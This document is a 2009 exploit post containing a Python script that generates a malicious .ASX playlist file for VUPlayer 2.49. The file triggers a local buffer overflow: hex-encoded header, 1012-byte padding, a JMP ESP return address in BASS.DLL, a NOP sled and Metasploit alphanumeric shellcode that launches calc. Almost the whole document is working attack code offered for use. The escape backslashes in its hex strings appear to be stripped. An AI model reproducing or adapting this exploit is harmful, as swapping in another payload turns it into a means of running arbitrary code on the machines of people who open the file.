vuplayer249universal-overflow.txt
Posted on 14 January 2009
# VUPlayer 2.49 .ASX File (Universal) Local Buffer Overflow Exploit # By:Encrypt3d.M!nd # # This is an exploit for this Proof of Concept: # http://milw0rm.com/exploits/7709 # very easy one :) # # Well i've Sent this since the poc published but str0ke had a brain fart :) # # Greetz:Str0ke(God Bless You bro),-=Mizo=-,L!0N,El Mariachi,MiNi SpIder and all my friends # # Iam Iraqian...Not Arabian header1 = ( "x3Cx61x73x78x20x76x65x72x73x69x6Fx6Ex20x3Dx20" "x22x33x2Ex30x22x20x3Ex0Dx0Dx0Ax3Cx65x6Ex74x72" "x79x3Ex0Dx0Dx0Ax3Cx74x69x74x6Cx65x3Ex61x72x63" "x68x20x65x6Ex65x6Dx79x2Dx6Ex65x6Dx73x69x73x2E" "x6Dx70x33x3Cx2Fx74x69x74x6Cx65x3Ex0Dx0Dx0Ax3C" "x72x65x66x20x68x72x65x66x20x3Dx20") header2 = ( "x22x20x2Fx3Ex0Dx0Ax3Cx2Fx65x6Ex74x72x79x3Ex0D" "x0Ax3Cx2Fx61x73x78x3E") chars = "A" * 1012 # win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com shellcode = ( "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44" "x42x30x42x50x42x30x4bx48x45x54x4ex43x4bx38x4ex47" "x45x50x4ax57x41x30x4fx4ex4bx58x4fx54x4ax41x4bx38" "x4fx45x42x42x41x50x4bx4ex49x44x4bx38x46x33x4bx48" "x41x50x50x4ex41x53x42x4cx49x59x4ex4ax46x58x42x4c" "x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e" "x46x4fx4bx53x46x55x46x32x46x50x45x47x45x4ex4bx58" "x4fx45x46x52x41x50x4bx4ex48x56x4bx58x4ex50x4bx44" "x4bx48x4fx55x4ex41x41x30x4bx4ex4bx58x4ex41x4bx38" "x41x50x4bx4ex49x48x4ex45x46x32x46x50x43x4cx41x33" "x42x4cx46x46x4bx38x42x44x42x53x45x38x42x4cx4ax47" "x4ex30x4bx48x42x44x4ex50x4bx58x42x37x4ex51x4dx4a" "x4bx48x4ax36x4ax30x4bx4ex49x50x4bx38x42x58x42x4b" "x42x50x42x50x42x50x4bx38x4ax36x4ex43x4fx45x41x53" "x48x4fx42x46x48x35x49x38x4ax4fx43x48x42x4cx4bx57" "x42x45x4ax36x42x4fx4cx38x46x30x4fx35x4ax46x4ax39" "x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x46x41x46" "x4ex46x43x36x42x50x5a") # Return Address is:0x100222C5 JMP ESP BASS.DLL -> Universal Address Thnx SKD file=open('exp.asx','w') file.write(header1+chars+"xc5x22x02x10"+"x90"*25+shellcode+header2) file.close()
